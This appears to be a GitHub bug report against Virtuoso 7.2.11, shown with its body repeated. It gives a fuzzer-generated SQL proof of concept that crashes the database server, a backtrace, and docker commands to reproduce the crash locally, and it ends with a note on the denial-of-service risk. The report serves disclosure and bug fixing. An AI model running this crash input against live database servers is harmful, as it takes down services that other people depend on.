The PoC is generated by my DBMS fuzzer. It can also be reproduced in the beta docker image.
```SQL
CREATE TABLE v0 ( v1 INTEGER CHECK ( ( SELECT ( SELECT v1 + v1 AS b_plus_one ) ) ) ) ; 
 INSERT INTO v0 SELECT TOP 4 1 FROM v0 WHERE v1 = 1 GROUP BY CUBE ( v1 , v1 ) ; 
```

backtrace:
```c
#0 0x82acf5 (itc_set_param_row+0x2d5)
#1 0x82d2d8 (itc_param_sort+0xa08)
#2 0x7b2508 (ks_start_search+0xf18)
#3 0x7b434e (table_source_input+0x99e)
#4 0x7af05e (qn_input+0x3ce)
#5 0x7bc82b (fun_ref_node_input+0x36b)
#6 0x7af05e (qn_input+0x3ce)
#7 0x751d38 (subq_next+0x258)
#8 0x821acb (subq_node_vec_input+0x2eb)
#9 0x7af05e (qn_input+0x3ce)
#10 0x7af4c6 (qn_send_output+0x236)
#11 0x8214bd (set_ctr_vec_input+0x99d)
#12 0x7af05e (qn_input+0x3ce)
#13 0x7c1be9 (qr_dml_array_exec+0x839)
#14 0x7ce602 (sf_sql_execute+0x15d2)
#15 0x7cecde (sf_sql_execute_w+0x17e)
#16 0x7d799d (sf_sql_execute_wrapper+0x3d)
#17 0xe214bc (future_wrapper+0x3fc)
#18 0xe28dbe (_thread_boot+0x11e)
#19 0x7f7f68ceb609 (start_thread+0xd9)
#20 0x7f7f68abb133 (clone+0x43)
```

ways to reproduce (write poc to the file /tmp/test.sql first):
```bash
# remove the old one
docker container rm virtdb_test -f
# start virtuoso through docker
docker run --name virtdb_test -itd --env DBA_PASSWORD=dba  pkleef/virtuoso-opensource-7
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba
# run the poc
cat /tmp/test.sql | docker exec -i virtdb_test isql 1111 dba
```
Fuzzer: Virtuoso 7.2.11 crashed at `itc_set_param_row`
This is a GitHub Issue
repo:virtuoso-opensource
owner:openlink
Title : Fuzzer: Virtuoso 7.2.11 crashed at `itc_set_param_row`
Issue date:

--- start body ---
The PoC is generated by my DBMS fuzzer. It can also be reproduced in the beta docker image.
```SQL
CREATE TABLE v0 ( v1 INTEGER CHECK ( ( SELECT ( SELECT v1 + v1 AS b_plus_one ) ) ) ) ; 
 INSERT INTO v0 SELECT TOP 4 1 FROM v0 WHERE v1 = 1 GROUP BY CUBE ( v1 , v1 ) ; 
```

backtrace:
```c
#0 0x82acf5 (itc_set_param_row+0x2d5)
#1 0x82d2d8 (itc_param_sort+0xa08)
#2 0x7b2508 (ks_start_search+0xf18)
#3 0x7b434e (table_source_input+0x99e)
#4 0x7af05e (qn_input+0x3ce)
#5 0x7bc82b (fun_ref_node_input+0x36b)
#6 0x7af05e (qn_input+0x3ce)
#7 0x751d38 (subq_next+0x258)
#8 0x821acb (subq_node_vec_input+0x2eb)
#9 0x7af05e (qn_input+0x3ce)
#10 0x7af4c6 (qn_send_output+0x236)
#11 0x8214bd (set_ctr_vec_input+0x99d)
#12 0x7af05e (qn_input+0x3ce)
#13 0x7c1be9 (qr_dml_array_exec+0x839)
#14 0x7ce602 (sf_sql_execute+0x15d2)
#15 0x7cecde (sf_sql_execute_w+0x17e)
#16 0x7d799d (sf_sql_execute_wrapper+0x3d)
#17 0xe214bc (future_wrapper+0x3fc)
#18 0xe28dbe (_thread_boot+0x11e)
#19 0x7f7f68ceb609 (start_thread+0xd9)
#20 0x7f7f68abb133 (clone+0x43)
```

ways to reproduce (write poc to the file /tmp/test.sql first):
```bash
# remove the old one
docker container rm virtdb_test -f
# start virtuoso through docker
docker run --name virtdb_test -itd --env DBA_PASSWORD=dba  pkleef/virtuoso-opensource-7
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba
# run the poc
cat /tmp/test.sql | docker exec -i virtdb_test isql 1111 dba
```
--- end body ---

A segmentation fault in Virtuoso 7.2.11 at the function itc_set_param_row can be triggered by executing a crafted SQL statement. This indicates a potential vulnerability that could be exploited to cause a Denial of Service (DoS) by crashing the database server.